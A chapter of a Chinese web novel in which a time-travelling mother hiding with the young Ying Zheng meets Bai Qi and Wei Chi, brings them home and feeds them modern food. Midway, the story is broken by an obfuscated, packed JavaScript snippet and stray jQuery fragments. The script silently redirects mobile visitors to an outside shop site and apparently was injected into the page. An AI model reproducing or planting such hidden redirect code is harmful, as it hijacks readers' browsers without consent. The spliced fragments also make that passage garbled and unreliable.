第16章
老翁声音并不大,落在喧闹集市,如水滴入海,无人在意。可对赵琦来讲,却是晴天霹雳。
——这人见过嬴异人,看出嬴政长得像嬴异人,她与嬴政的身份暴露了!
赵琦心中警铃大作,却不敢转身就跑。
如果她跑了,老翁喊起来,整个集市的人都会追杀她!
被白起坑杀四十万的血海深仇恨在那,她与嬴政在赵地是过街的老鼠,人人喊打。
赵琦死死掐着掌心,努力让自己镇定下来。
“异人是谁?我不认识。”
赵琦挡着赵政的脸,不让老翁看,自己回头对老翁笑着道:“老翁,您认错人了——”
白起冷笑,“我从不会认错人。”
“驰儿,收拾东西,我们以后有着落了。”
魏驰大喜。
——她终于熬到这一天了!
天知道她如何九死一生突围,又如何历尽艰辛按照玉梳里藏的书信找到杜邮,又如何在秦兵的追捕下将武安君救出。
人虽然救出来了,可秦王要杀武安君,秦地无武安君的容身之地,她只能带着武安君回陶邑,想着武安君战无不胜,若他在陶邑,定能杀得魏军望风而逃。
谁知刚踏入赵地,陶邑被魏军攻破的消息便传了过来,他们无处可去,身上的钱也用尽了,一个封无可封的武安君,一个贵无可贵的穰侯之后,竟沦落到当街摆摊卖字来维持生计!
偏这个地方极为贫困,竟无一人来询问,他们摆摊三天,连一粒米都没挣到!
不幸中的万幸,武安君慧眼如炬,竟认出了异人之妻。
这位夫人虽着布衣,但衣物极为干净,还有钱给公子请师父,想来在赵地过得不错。若能投奔夫人,她与武安君便有容身之地了。
魏驰两眼放光,俯身便去抱嬴政,“小郎君怎么称呼?”
这是要把他们母子上报赵人,谋求富贵!赵琦脸色大变,立刻把嬴政护在身后,另一只手抓起布上的刻刀,刺向魏驰。
当街杀人固然可怕,可如果身份暴露,那等待她与嬴政的是死路一条!
这里的黔首,家家户户都有死在长平的亲人,父亲,兄长,丈夫,儿郎......家破人亡的刻骨恨意,让她根本走不出这个集市。
杀人与被杀之间,她选杀人。
——她要带着嬴政活下去。
魏驰自幼习武,反应极快,避开赵琦刺过来的刻刀,攥着赵琦手腕她拽过来。
“你疯了?”
魏驰压低声音道:“你想当街杀人?”
不是说这位夫人是出了名的柔情似水吗?怎么一言不合就杀人?
多半是被吓到了。
自武安君坑杀赵军四十多万人后,这位夫人与小公子便成了赵人的眼中钉肉中刺。赵人知晓她的身份,定会把她碎尸万段。
“那又如何?”
赵琦冷笑,剧烈挣扎。
抓着她的人力气极大,她无法挣开,便对赵政大喊:“政儿快跑!”
赵政摇头,用力拽魏驰,“放开我阿娘!我跟你走!”
白起掀了下眼皮。
“夫人公子不必惊慌。”
魏驰知晓自己吓到了他们,连忙道:“我与阿翁亦是秦人。”
赵琦一愣,秦人?
不可能,秦人怎会在这里?
魏驰点头,稍稍松开赵琦,“不止是秦人,更是公子异人的故人。”
假的,她压根没见过公子异人。
武安君与公子异人亦不熟悉,能认出公子之子,是因为武安君过目不忘。
但现在,她与武安君流落街头,三日水米未尽,若公子之妻不收留他们,他们必会饿死街头。
是以,她不仅公子异人的故人,更是他的至交好友,好到让公子之妻不得不收留他们。
“你在说什么?我根本听不懂。”
赵琦活动着手腕,把赵政护在身后,警惕打量魏驰。
赵政藏在赵琦身后,偷偷看魏驰与白起。
白起淡淡瞥向他,他立刻缩回小脑壳,把自己的脸藏得严严实实。
白起轻嗤,“驰儿,不必隐瞒身份。”
魏驰颔首,压低声音,向赵琦道:“夫人,阿翁是武安君,我是穰侯之后,受人之托将他救出。”
“夫人与我们皆不被赵人所容,不如结伴而行,互为照应?”
赵琦戒备心瞬间消失得无影无踪。
——武安君?!这位气势摄人的老翁是武安君?!
“武、武安君?”
赵琦有些结巴。
赵政从赵琦身后探出头,乌黑的眼睛瞪得大大的。
白起斜了他一眼,“怎么?不像?”
“......像!”
赵琦道。
这可太像了。
如果不是扑面而来的血腥杀伐之气,她压根不会带着嬴政跑路。
赵琦道:“这里不是说话的地方,咱们先回去。”
赵政颔首,目不转睛盯着白起看。
白起侧目。
赵政弯眼一笑,两只眼睛亮晶晶。
白起神色微动。
笑起来倒没那么像了。笑时更像他阿娘,眉眼过于昳丽。
赵琦带着白起魏驰去坐牛车,说是邯郸来的亲眷。
赶牛车的小姑娘有些惊讶,“你亲人也来投奔你了?”
邯郸战事激烈,稍微有点门路的,都想往外跑。此时有亲戚登门,实在太正常不过。
赵琦点头道:“可不是么?”
“先是秦兵,现在又来了楚军和魏军,邯郸怕是有得打了。”
“那你家的粮食够吃吗?”
小姑娘点头,看了看白起与魏驰。这两人身材高大,一看就很能吃。
怕被赵琦嫌弃,魏驰立刻道:“我吃得不多。”
小姑娘替赵琦松了口气,“那就好。眼下世道乱,琦家里的粮食只怕不多。”
“我吃得多。”
白起摸着赵政的小脑壳。
“......”
您不说话没人把您当哑巴。
魏驰幽怨看向白起。
“无妨,我家粮食多。”
赵琦忍笑道。
魏驰松了口气,“叨扰嫂嫂了。”
唤夫人太生分,先唤嫂嫂,熟悉了唤阿姐。
白起问赵政:“看过哪些书?”
赵政掰着手指,把嬴异人与吕不韦教过的书说给白起听。
“尽是无用之书。”
白起十分嫌弃。
赵政眨了下眼。
赵琦便道:“他父亲如何能与阿翁相较?阿翁既来我家小住,便辛苦阿翁多教教政儿。”
“嫂嫂放心,阿翁定会倾囊相授。”
不等白起开口,魏驰立刻说道。
白起不置可否,问赵政,“你想学什么?”
“想跟着阿翁学本事。”
赵政两只眼睛亮晶晶。
白起掀了下眼皮。
拜白起为师,哪有那么容易?赵琦道:“不拘什么,只要阿翁愿意教,政儿便花十二分的心思去学。”
“太翁,我很勤奋的。”
赵政用力点头。
白起没有答话,捏了下赵政的脸。
三四岁的孩童被母亲养得极好,两颊肉嘟嘟的,手感坡好。
——可惜过于像秦王。
白起垂眸,沉默收手。
赵政歪着头看他,乌黑的眼睛映着瓦蓝的晴空。
白起大掌覆上他的脸,把小孩儿的脸转向一旁。
赵琦眉头微动,瞬间知晓。
她这个好大儿,怕不是与曾祖父秦昭襄王有些相似。
一路无话。
牛车走过地头,石头正在帮着里正秋收。
看到赵琦家来了亲戚,忙把自己收粮食时顺手打的兔子送过去,让赵琦给“亲戚”加餐。
在地里忙碌着的其他人亦抬头跟赵琦打招呼。
赵琦笑着回应。
魏驰有些惊讶,“这些人很喜欢嫂嫂。”
“对呀,他们很喜欢我们的。”
赵政看了眼白起,奶声奶气道。
白起面无表情。
到了篱笆院,赵琦下牛车,去茅草屋里拿粮食给赶牛车的小姑娘。
“阿姐,这太多了。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712271|207636||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
小姑娘有些不好意思。
“今日我们人多,辛苦你把我们送回来。”
赵琦声音温和:“正值秋收,不吃饱肚子怎么行?你收着,回去给你阿姐阿娘煮粥喝。”
小姑娘这才收下,对着赵琦千恩万谢。
白起眉头微动。
魏驰忽而有些明白,为何赵琦这个外来户在村里如此受欢迎。
——她一点都不高高在上,她与这里的黔首几乎处成了家人。
这不是好现象。
她是公子异人之妻,赵人恨之入骨的秦人,一旦身份暴露,这里的人之前有多喜欢她,得知真相后便会有多恨她。
她接受得了这种落差吗?
魏驰叹了口气。
赵琦送走小姑娘,关上篱笆门,把石头给的野兔递给赵政玩,背着白起魏驰取出米其林大餐,招呼几人来吃饭。
白起魏驰如何沦落到这种地步不重要,先让他们吃饱饭才是头等大事。
饭菜入口,白起魏驰惊为天人。
“这是?”
魏驰欲言又止。
赵政道:“这是鹅肝,这是牛排,这是三文鱼,这是澳龙和冰激凌。”
“......”
没听过,但好吃!
魏驰吃得眼睛都亮了起来。
白起年长,没有魏驰那么情绪外露,但看到极为怪异但又极美味的食物,与盛着食物的精美餐具时,他抬了抬眼,不着痕迹地往赵琦身上看了一眼。
赵琦笑眯眯地与赵政坐在一处吃着饭。
白起收回视线。
这位秦公子与母亲的关系,倒是比秦王好太多。
吃完饭,魏驰收拾碗筷。
“你收到的那封信是政儿写的。”
赵琦便把自己误打误撞救了平原君,套路毛遂让毛遂帮忙送信的事情说了出来。
魏驰洗完碗筷回来,惊讶说道:“竟然小公子写的信?这可太巧了!”
“夫人与公子身在秦地,如何知晓秦王要杀我?”
白起道。
当然是从史书上看到的。
赵琦笑了笑,温柔抚摸赵政的发,道:“猜到的。”
赵政眨了下眼,道:“若邯郸城破,您或许能保住性命。可如果是秦军大败,您必会死于王剑之下。”
“夫人与公子身陷囹圄,却仍不忘救我性命......”
白起眼睛轻眯,声音缓缓:“公子之才,远胜公子之父。”
赵琦立刻点头,一脸骄傲道:“这是自然。”
别说嬴异人了,中华上下五年的皇帝们凑一堆,能与嬴政相提并论的也不多。
“可惜公子之父,不过是太子膝下诸子之中的其中一个。”
白起摇头,无声叹息:“虽因华阳夫人之故,颇得太子喜欢,但也无甚大用。”
王上彼时能跳起来骂人,似这种过硬的筋骨,少说能活三五年。王上之后是太子,太子之后纵然是公子异人,两位秦王轮番掌政,便是四五十年的光阴。等到公子政入主秦宫,已是几十年后的事情。
他这把老骨头等不到了。
“公子是公子,政儿是政儿,不相干的。”
赵琦笑道。
安国君做了三天的国君,嬴异人执政三年,两位秦王凑在一起,不及大魔王秦昭襄王的执政零头。
这两人挡不了嬴政的路,但她都有白起了,还回什么秦宫?
——她有更大、更宏伟的计划。
她需要根据地,一个她与嬴政说一不二的地方。
回到秦宫,上面有着秦昭襄王安国君乃至嬴异人,她与嬴政只会处处被掣肘。可有了自己的地方,那就完全不一样了。她可以把金手指发挥得淋漓尽致,再也不用担心会不会被人当成异类烧杀。
亩产几千斤的红薯玉米小麦土豆与大米,领先几千年的青霉素布洛芬......她的根据地会是乱世中的桃花源!
当然,前提是白起这位杀神能为她所用。
赵琦看向白起,“以武安君之才,困守山村实在委屈。”
“我有一计,可让武安君驰骋于疆场,让我与政儿不必东躲西藏。武安君愿听否?”